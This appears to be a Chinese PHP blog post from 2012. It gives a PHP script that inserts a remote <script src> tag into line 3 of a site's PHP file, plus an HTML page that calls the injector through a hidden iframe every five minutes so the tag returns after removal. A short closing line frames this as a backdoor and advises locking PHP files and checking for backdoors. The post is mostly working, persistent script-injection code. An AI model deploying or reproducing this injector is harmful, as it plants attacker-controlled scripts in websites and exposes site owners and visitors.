php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
PHP下一个非常全面获取图象信息的函数
Nov 20 PHP
从康盛产品(discuz)提取出来的模板类
Jun 28 PHP
PHP分页详细讲解(有实例)
Oct 30 PHP
简单实用的网站PHP缓存类实例
Jul 18 PHP
CodeIgniter中实现泛域名解析
Jul 19 PHP
php实现将Session写入数据库
Jul 26 PHP
twig里使用js变量的方法
Feb 05 PHP
PHP入门教程之正则表达式基本用法实例详解(正则匹配,搜索,分割等)
Sep 11 PHP
PHP实现下载远程图片保存到本地的方法
Jun 19 PHP
PHP实现验证码校验功能
Nov 16 PHP
kindeditor 加入七牛云上传的实例讲解
Nov 12 PHP
PHPExcel实现表格导出功能示例【带有多个工作sheet】
Jun 13 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
如何写php程序?
2006/12/08 PHP
php 获取完整url地址
2008/12/20 PHP
PHP引用符&amp;的用法详细解析
2013/08/22 PHP
php生成shtml类用法实例
2014/12/09 PHP
PHP4和PHP5版本下解析XML文档的操作方法实例分析
2017/05/20 PHP
JavaScript学习笔记(十七)js 优化
2010/02/04 Javascript
jquery自定义滚动条插件示例分享
2014/02/21 Javascript
JavaScript中的prototype.bind()方法介绍
2014/04/04 Javascript
JQuery中DOM事件冒泡实例分析
2015/06/13 Javascript
JS+CSS简单树形菜单实现方法
2015/09/12 Javascript
JS非Alert实现网页右下角“未读信息”效果弹窗
2015/09/26 Javascript
JS实现线性表的链式表示方法示例【经典数据结构】
2017/04/11 Javascript
Vue实现百度下拉提示搜索功能
2017/06/21 Javascript
vue组件传值的实现方式小结【三种方式】
2020/02/05 Javascript
[01:01:25]DOTA2上海特级锦标赛B组资格赛#2 Fnatic VS Spirit第三局
2016/02/27 DOTA
[00:32]2018DOTA2亚洲邀请赛Newbee出场
2018/04/03 DOTA
[26:52]LGD vs EG 2018国际邀请赛小组赛BO2 第一场 8.17
2018/08/18 DOTA
跟老齐学Python之dict()的操作方法
2014/09/24 Python
Python语言描述最大连续子序列和
2017/12/05 Python
对pandas中时间窗函数rolling的使用详解
2018/11/28 Python
如何实现更换Jupyter Notebook内核Python版本
2020/05/18 Python
意大利奢侈品网站:Italist
2016/08/23 全球购物
环法自行车赛官方商店:Le Tour de France
2017/08/27 全球购物
娱乐地球:Entertainment Earth
2020/01/08 全球购物
W Hamond官网:始于1979年的钻石专家
2020/07/20 全球购物
对于没有初始化的变量的初始值可以作怎样的假定
2014/10/12 面试题
Lucene推荐的分页方式是什么?
2015/12/07 面试题
HttpServlet类中的主要方法都有哪些?各自的作用是什么?
2014/03/16 面试题
高中学生干部学习的自我评价
2014/02/21 职场文书
项目负责人任命书
2014/06/04 职场文书
2014年国庆节寄语
2014/09/19 职场文书
2014年企业团支部工作总结
2014/12/10 职场文书
创业计划书之废品回收
2019/09/26 职场文书
python for循环赋值问题
2021/06/03 Python
Windows安装Anaconda3的方法及使用过程详解
2021/06/11 Python
Pandas数据结构之Series的使用
2022/03/31 Python